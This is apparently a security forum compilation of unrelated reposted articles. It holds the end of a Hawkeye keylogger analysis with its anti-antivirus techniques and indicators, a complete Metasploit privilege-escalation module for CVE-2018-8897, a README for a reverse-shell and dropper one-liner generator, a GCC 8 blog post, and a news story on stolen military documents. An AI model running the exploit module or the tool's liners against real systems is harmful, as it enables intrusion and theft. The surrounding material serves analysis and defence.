signed executables that ship with .NET framework. This is an attempt to masquerade as a legitimate process. Figure 15: Obfuscated calls using .NET reflection to perform process hollowing injection routine that injects the malware’s main payload into RegAsm.exe Additionally, in the previous version, the process hollowing routine was written in C. In the new version, this routine is completely rewritten as a managed .NET that calls the native Windows API. Figure 16: Process hollowing routine implemented in .NET using native API function calls Malware functionalities The new Hawkeye variants created by the latest version of the malware toolkit have multiple sophisticated functions for information theft and evading detection and analysis. Information theft The main keylogger functionality is implemented using hooks that monitor key presses, as well as mouse clicks and window context, along with clipboard hooks and screenshot capability. It has specific modules for extracting and stealing credentials from the following applications: Beyluxe Messenger Core FTP FileZilla Minecraft (replaced the RuneScape module in previous version) Like many other malware campaigns, it uses the legitimate BrowserPassView and MailPassView tools to dump credentials from the browser and email client. It also has modules for taking screenshots of the desktop, as well as the webcam, if it exists. Notably, the malware has a mechanism to visit certain URLs for click-based monetization. Stealth and anti-analysis On top of the processes hollowing technique, this malware uses other methods for stealth, including alternate data streams that remove mark of the web (MOTW) from the malware’s downloaded files. This malware can be configured to delay execution by any number of seconds, a technique used mainly to avoid detection by various sandboxes. It prevents antivirus software from running using an interesting technique. It adds keys to the registry location HKLM\Software\Windows NT\Current Version\Image File Execution Options and sets the Debugger value for certain processes to rundll32.exe, which prevents execution. It targets the following processes related to antivirus and other security software: AvastSvc.exe AvastUI.exe avcenter.exe avconfig.exe avgcsrvx.exe avgidsagent.exe avgnt.exe avgrsx.exe avguard.exe avgui.exe avgwdsvc.exe avp.exe avscan.exe bdagent.exe ccuac.exe ComboFix.exe egui.exe hijackthis.exe instup.exe keyscrambler.exe mbam.exe mbamgui.exe mbampt.exe mbamscheduler.exe mbamservice.exe MpCmdRun.exe MSASCui.exe MsMpEng.exe msseces.exe rstrui.exe spybotsd.exe wireshark.exe zlclient.exe Further, it blocks access to certain domains that are usually associated with antivirus or security updates. It does this by modifying the HOSTS file. The list of domains to be blocked is determined by the attacker using a config file. This malware protects its own processes. It blocks the command prompt, registry editor, and task manager. It does this by modifying registry keys for local group policy administrative templates. It also constantly checks active windows and renders action buttons unusable if the window title matches “ProcessHacker”, “Process Explorer”, or “Taskmgr”. Meanwhile, it prevents other malware from infecting the machine. It repeatedly scans and removes any new values to certain registry keys, stops associated processes, and deletes related files. Hawkeye attempts to avoid automated analysis. The delay in execution is designed to defeat automated sandbox analysis that allots only a certain time for malware execution and analysis. It likewise attempts to evade manual analysis by monitoring windows and exiting when it finds the following analysis tools: Sandboxie Winsock Packet Editor Pro Wireshark Defending mailboxes, endpoints, and networks against persistent malware campaigns Hawkeye illustrates the continuous evolution of malware in a threat landscape fueled by the cybercriminal underground. Malware services make malware accessible to even unsophisticated operators, while simultaneously making malware more durable with advanced techniques like in-memory unpacking and abuse of .NET’s CLR engine for stealth. In this blog we covered the capabilities of its latest version, Hawkeye Keylogger – Reborn v8, highlighting some of the enhancements from the previous version. Given its history, Hawkeye is likely to release a new version in the future. Organizations should continue educating their employees about spotting and preventing social engineering attacks. After all, Hawkeye’s complicated infection chain begins with a social engineering email and lure document. A security-aware workforce will go a long way in securing networks against attacks. More importantly, securing mailboxes, endpoints, and networks using advanced threat protection technologies can prevent attacks like Hawkeye, other malware operations, and sophisticated cyberattacks. Our in-depth analysis of the latest version and our insight into the cybercriminal operation that drives this development allow us to proactively build robust protections against both known and unknown threats. Office 365 Advanced Threat Protection (Office 365 ATP) protects mailboxes as well as files, online storage, and applications from malware campaigns like Hawkeye. It uses a robust detonation platform, heuristics, and machine learning to inspect attachments and links for malicious content in real-time, ensuring that emails that carry Hawkeye and other threats don’t reach mailboxes and devices. Learn how to add Office 365 ATP to existing Exchange or Office 365 plans. Windows Defender Antivirus (Windows Defender AV) provides an additional layer of protection by detecting malware delivered through email, as well as other infection vectors. Using local and cloud-based machine learning, Windows Defender AV’s next-gen protection can block even new and unknown threats on Windows 10 and Windows 10 in S mode. Additionally, endpoint detection and response (EDR) capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP) expose sophisticated and evasive malicious behavior, such as those used by Hawkeye. Sign up for free Windows Defender ATP trial. Windows Defender ATP’s rich detection libraries are powered by machine learning and allows security operations teams to detect and respond to anomalous attacks in the network. For example, machine learning detection algorithms surface the following alert when Hawkeye uses a malicious PowerShell to download the payload: Figure 16: Windows Defender ATP alert for Hawkeye’s malicious PowerShell component Windows Defender ATP also has behavior-based machine learning algorithms that detect the payload itself: Figure 17: Windows Defender ATP alert for Hawkeye’s payload These security technologies are part of the advanced threat protection solutions in Microsoft 365. Enhanced signal sharing across services in Windows, Office 365, and Enterprise Mobility + Security through the Microsoft Intelligent Security Graph enables the automatic update of protections and orchestration of remediation across Microsoft 365. Office 365 ATP Research Indicators of Compromise (Ioc) Email subject lines {EXT} NEW ORDER ENQUIRY #65563879884210# B/L COPY FOR SHIPMENT Betreff: URGENT ENQ FOR Equipment RFQ-GHFD456 ADCO 5647 deadline 7th May Attachment file names Betreff URGENT ENQ FOR Equipment.doc BILL OF LADING.doc NEW ORDER ENQUIRY #65563879884210#.doc Scan Copy 001.doc Swift Copy.doc Domains lokipanelhostingpanel[.]gq stellarball[.]com stemtopx[.]com stevemike-fireforce[.]info Shortened redirector links hxxp://bit[.]ly/ASD8239ASdmkWi38AS (was also used in a Remcos campaign) hxxp://bit[.l]y/loadingpleaswaitrr hxxp://bit[.l]y/Loadingwaitplez Files (SHA-256) d97f1248061353b15d460eb1a4740d0d61d3f2fcb41aa86ca6b1d0ff6990210a – .eml 23475b23275e1722f545c4403e4aeddf528426fd242e1e5e17726adb67a494e6 – .eml 02070ca81e0415a8df4b468a6f96298460e8b1ab157a8560dcc120b984ba723b – .eml 79712cc97a19ae7e7e2a4b259e1a098a8dd4bb066d409631fb453b5203c1e9fe – .eml 452cc04c8fc7197d50b2333ecc6111b07827051be75eb4380d9f1811fa94cbc2 – .eml 95511672dce0bd95e882d7c851447f16a3488fd19c380c82a30927bac875672a – .eml 1b778e81ee303688c32117c6663494616cec4db13d0dee7694031d77f0487f39 – .eml 12e9b955d76fd0e769335da2487db2e273e9af55203af5421fc6220f3b1f695e – .eml 12f138e5e511f9c75e14b76e0ee1f3c748e842dfb200ac1bfa43d81058a25a28 – .eml 9dfbd57361c36d5e4bda9d442371fbaa6c32ae0e746ebaf59d4ec34d0c429221 – .docx (stage 1) f1b58fd2bc8695effcabe8df9389eaa8c1f51cf4ec38737e4fbc777874b6e752 – .rtf (stage 2) 5ad6cf87dd42622115f33b53523d0a659308abbbe3b48c7400cc51fd081bf4dd – .doc 7db8d0ff64709d864102c7d29a3803a1099851642374a473e492a3bc2f2a7bae – .rtf 01538c304e4ed77239fc4e31fb14c47604a768a7f9a2a0e7368693255b408420 – .rtf d7ea3b7497f00eec39f8950a7f7cf7c340cf9bf0f8c404e9e677e7bf31ffe7be – .vbs ccce59e6335c8cc6adf973406af1edb7dea5d8ded4a956984dff4ae587bcf0a8 – .exe (packed) c73c58933a027725d42a38e92ad9fd3c9bbb1f8a23b3f97a0dd91e49c38a2a43 – .exe (unpacked) *Updated 07/12/18 (Removed statement that Hawkeye Keylogger is also known as iSpy Keylogger Sursa: https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end Sursa: https://www.exploit-db.com/exploits/45024/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

One-Lin3r One-Lin3r is simple and light-weight framework inspired by the web-delivery module in Metasploit. It consists of various one-liners that aids in penetration testing operations: Reverser: Give it IP & port and it returns a reverse shell liner ready for copy & paste. Dropper: Give it an uploaded-backdoor URL and it returns a download-&-execute liner ready for copy & paste. Other: Holds liners with general purpose to help in penetration testing (ex: Mimikatz, Powerup, etc...) on the trending OSes (Windows, Linux, and macOS) "More OSes can be added too". Features Search for any one-liner in the database by its full name or partially. You can add your own liners by following these steps to create a ".liner" file.Also you can send it to me directly and it will be added in the framework and credited with your name 😄. Autocomplete any framework command and recommendations in case of typos (in case you love hacking like movies 😆). Command line arguments can be used to give the framework a resource file to load and execute for automation. The ability to reload the database if you added any liner without restarting the framework. You can add any platform to the payloads database just by making a folder in payloads folder and creating a ".liner" file there. More... The payloads database is not big now because this the first edition but it will get bigger with updates and contributions. Screenshots (Not updated) Usage Commandline arguments usage: one-lin3r [-h] [-r R] [-x X] [-q] optional arguments: -h, --help show this help message and exit -r Execute a resource file (history file). -x Execute a specific command (use ; for multiples). -q Quit mode (no banner). Framework commands Command Description -------- ------------- help/? Show this help menu list/show List payloads you can use in the attack. search <Keyword> Search payloads for a specific one use <payload> Use an available payload info <payload> Get information about an available payload banner Display banner reload/refresh Reload the payloads database check Prints the core version and database version then check for them online. history Display command line most important history from the beginning save_history Save command line history to a file exit/quit Exit the framework Installing and requirements To make the tool work at its best you must have : Python 3.x or 2.x (preferred 3). Linux (Tested on kali rolling), Windows system, mac osx (tested on 10.11) The requirements mentioned in the next few lines. Installing +For windows : (After downloading ZIP and upzip it) python -m pip install ./One-Lin3r-master one-lin3r -h +For Linux : git clone https://github.com/D4Vinci/One-Lin3r.git apt-get install libncurses5-dev pip install ./One-Lin3r one-lin3r -h Updating the framework or the database On Linux while outside the directory cd One-Lin3r && git pull && cd .. pip install ./One-Lin3r --upgrade On Windows if you don't have git installed, redownload the framework zipped! Contact Twitter Donation If you liked my work and want to support me, you can give me a cup of coffee bitcoin address: 1f4KfYikfqHQzEAsAGxjq46GdrBKc8jrG Disclaimer One-Lin3r is created to help in penetration testing and it's not responsible for any misuse or illegal purposes. Copying a code from this tool or using it in another tool is accepted as you mention where you get it from 😄. Pull requests are always welcomed Sursa: https://github.com/D4Vinci/One-Lin3r#one-lin3r-----

GNU* Compiler Collection 8 (GCC 😎 - Transitioning to a new compiler 27 Jun, 2018 By Victor Rodriguez Bahena & filed under Maintenance Every year, the Linux* community awaits the release of a new version of the GNU* Compiler Collection. The collection includes front ends for C , C++ , Objective-C, Fortran , Ada, and Go, as well as libraries for these languages. The GCC community works hard to provide usability improvements, bug fixes, new security features, and performance improvements. The GCC 8 Release Series changes list includes a full list of changes, new features, and fixes for this release. This blog article uses code examples to show how to use the following new compiler features: Interprocedural optimization improvements Control-flow enforcement technology Changes in loop nest optimization flags Interprocedural optimization improvements As the Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon, performance plays an increasingly important role in the industry. Optimizations at compile time have been playing an increasing role over the last years. Interprocedural Optimization (IPO) is an automatic, multi-step process that allows the compiler to analyze your entire code to determine where you can benefit from specific optimizations in programs containing many frequently used functions. In the new GCC 8, there are two major changes for interprocedural optimizations. The first one is reworked run-time estimation metrics, which leads to more realistic guesses driving inlining and cloning heuristics. This is an internal change on how GCC represents frequencies of basic blocks of code. In the previous GCC 7 version, it was prone to overflow. Block frequency is a relative metric that represents the number of times a block executes. The ratio of a block frequency to the entry block frequency is the expected number of times the block will execute per entry to the function. A basic block (BB) is a sequence of instructions with a single entry at the start and a single exit at the end. These blocks are linked together with the Control Flow Graph (CFG). The following figure shows a simple If statement and the corresponding CFG generated with gcc test.c -fdump-tree-all-graph which generates dot files. Figure 1. Simple If and its basic control flow graph The change made in GCC 8 to improve the accuracy basic blocks count can affect all optimizations (including Profile Guided Optimizations, inlining, and cloning heuristics). Basic block frequencies is a core component in compiler optimizations. Another important change in GCC 8 is the Interprocedural Analysis (IPA). IPA is a form of dataflow analysis between functions. As we know, GCC builds a “call graph” recording which functions call other functions. In GCC 8, the ipa-pure-const pass is extended to propagate the malloc attribute. The keyword __attribute__ allows you to specify special attributes when making a declaration. This keyword is followed by an attribute specification inside double parentheses. One of these is the malloc attribute: __attribute__((malloc)) The malloc attribute is used to inform the compiler that a function may be treated as any non-NULL pointer. Because of this, the return of the function cannot alias any other pointer valid when the function returns. In compilers, aliasing is the case where the same memory location can be accessed using different names. It is vitally important that a compiler can detect which accesses may alias each other, so that optimizations can be performed correctly. The following example shows the use of the malloc attribute: In GCC 8, the corresponding warning option Wsuggest-attribute=malloc emits a diagnostic for functions that can be annotated with the malloc attribute. $ gcc malloc.c -Wsuggest-attribute=malloc malloc.c: In function ‘foo’: malloc.c:6:8: warning: function might be candidate for attribute ‘malloc’ if it is known to return normally [-Wsuggest-attribute=malloc] void * foo(int size){ ^~~ When we enable the __attribute__((malloc)), the code looks like the following example: After this, the following compilation command line works without warnings: $ gcc malloc.c -Wsuggest-attribute=malloc As we have seen, Interprocedural Optimization (IPO) allows the compiler to analyze your entire code and propose optimizations. The improvements that GCC 8 has done on this technology will play an important role on the performance of end user's applications. Control-flow enforcement technology Another important section for compilers is security. One of the attacks that GCC 8 helps to prevent are Return Oriented Programming (ROP ) and call/jmp-oriented programming (COP/JOP). These attack methods have the following common elements: Diverting the control flow instruction (e.g. RET, CALL, JMP) from its original target address to a new target (via modification in the data stack or in the register). Attackers set a code module with execution privilege and contain small snippets of code sequence. This sequence has the characteristic that at least one instruction in the sequence is a control transfer instruction that depends on data either in the return stack or in a register for the target address. GCC 8 introduces a new option -fcf-protection =[full | branch | return | none] that performs code instrumentation to increase program security. When used, the fcf-protection option checks that target addresses of control-flow transfer instructions (such as indirect function call, function return, indirect jump) are valid. The new fcf-protection option option enables support for the Control-Flow Enforcement Technology (CET) feature in future Intel CPUs by enabling instrumentation of control-flow transfers to increase program security. The fcf-protection option checks for valid target addresses of control-flow transfer instructions (such as indirect function call, function return, and indirect jump). For example, the instruction at the target of an indirect jump must be an ENDBRANCH instruction , a particular form of NOP. This prevents diverting the flow of control to an unexpected target. As an additional protection, the Clear Linux project provides the option: mzero-caller-saved-regs =[skip | used | all]. This option clears caller-saved general registers upon function return. This is intended to make threats such as ROP, COP, and JOP attacks much harder. Changes in loop nest optimization flags There are a few changes in the optimization flags for GCC 8. The floop-interchange flag applies a classical loop nest optimization and is enabled by default at -O3 optimization level and above. Consider the following code: int k[1000, 100]; for (int y = 0; y < 100; y++) for (int x = 0; x < 1000; x++) k[x,y]=x*y; In C, arrays are stored in row major order. At the beginning of our sample code execution, when the processor accesses an array element for the first time, it retrieves an entire cached line of data from main memory to the cache memory. If the rest of the data will be used soon, this is a major performance boost. If on the other hand, the rest of the data is not used, this is a net performance loss. If the array is accessed incorrectly, we will see this loss. When the floop-interchange flag is used, this code is transformed to: for (int x = 0; x < 1000; x++) for (int y = 0; y < 100; y++) k[x,y] = x*y; In this example, the floop-interchange flag exchanges the loops so the array is accessed in the optimal order, because the variable used in the inner loop switches to the outer loop. We can see this in the transformed code, where it accesses k[0,0], k[0,1], … k[0, 99], k[1,0] …k[999, 99] rather than k[0,0], k[1,0], k[ 2,0] … k[999,0], k[0, 1] … k[999, 99]. The memory controller is optimized for consecutive memory locations. In this scenario, the transformed code accesses memory consecutively instead of reading widely differing locations. Conclusion The Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon. Both performance and security play an increasingly important role in the industry. In the Clear Linux Project for Intel Architecture, we decided to use and improve the latest GCC compiler technology to boost the performance and security of a Linux-based system for open source developers. We encourage users to employ the latest technologies that can improve applications for customers by boosting their performance and also providing a more robust layer of protection against security attacks. Sursa: https://clearlinux.org/blogs/gnu-compiler-collection-8-gcc-8-transitioning-new-compiler

By Catalin Cimpanu July 11, 2018 04:07 AM 0 A hacker is selling sensitive military documents on online hacking forums, a security firm has discovered. Some of the sensitive documents put up for sale include maintenance course books for servicing MQ-9 Reaper drones, various training manuals describing comment deployment tactics for improvised explosive device (IED), an M1 ABRAMS tank operation manual, a crewman training and survival manual, and a document detailing tank platoon tactics. Hacker asking between $150 and $200 for the lot US-based threat intelligence firm Recorded Future discovered the documents for sale online. They say the hacker was selling the data for a price between $150 and $200, which is a very low asking price for such data. Recorded Future says it engaged the hacker online and discovered that he used Shodan to hunt down specific types of Netgear routers that use a known default FTP password. The hacker used this FTP password to gain access to some of these routers, some of which were located in military facilities, he said. Based on the documents and details he shared online and with researchers in private conversations, one such location was the 432d Aircraft Maintenance Squadron Reaper AMU OIC, stationed at the Creech AFB in Nevada. Here, he used access to the router to pivot inside the base's network and gain access to a captain's computer, from where he stole the MQ-9 Reaper manual and a list of airmen assigned to Reaper AMU. MQ-9 Reaper drones are some of the most advanced drones around and are used by the US Air Force, the Navy, the CIA, the Customs and Border Protection Agency, NASA, and the militaries of other countries. The hacker didn't reveal from where he stole the other documents, but based on the information they contain experts believe that they were most likely taken from the Pentagon or from a US Army official. "While such course books are not classified materials on their own, in unfriendly hands, they could provide an adversary the ability to assess technical capabilities and weaknesses in one of the most technologically advanced aircrafts," Andrei Barysevich, Director of Advanced Collection at Recorded Future said. Incident caused by use of router default FTP credentials The incident could have very easily been prevented if the military base's IT team would have followed best practices and changed the router's default FTP credentials.. The issue with Netgear routers using a set of default FTP credentials is known since 2016 when a security researcher raised the alarm about it. Netgear responded by putting up a support page with information on how users could change their routers' default FTP password. Recorded Future said that at the time of writing, there are more than 4,000 such routers (Netgear Nighthawk R7000) available online via "smart device" search engines like Shodan. The hacker also bragged about accessing footage from an MQ-1 Predator flying over Choctawhatchee Bay in the Gulf of Mexico. This isn't something new, though, as the US government agencies have been known to leak those feeds once in a while. Recorded Future said it reported the finding to US authorities, which are now investigating the hacks. Researchers hinted at also discovering the hacker's country of origin, albeit they did not make the information public. Image source: Wikimedia Foundation, Recorded Future Sursa: https://www.bleepingcomputer.com/news/security/hacker-steals-military-docs-because-someone-didn-t-change-a-default-ftp-password/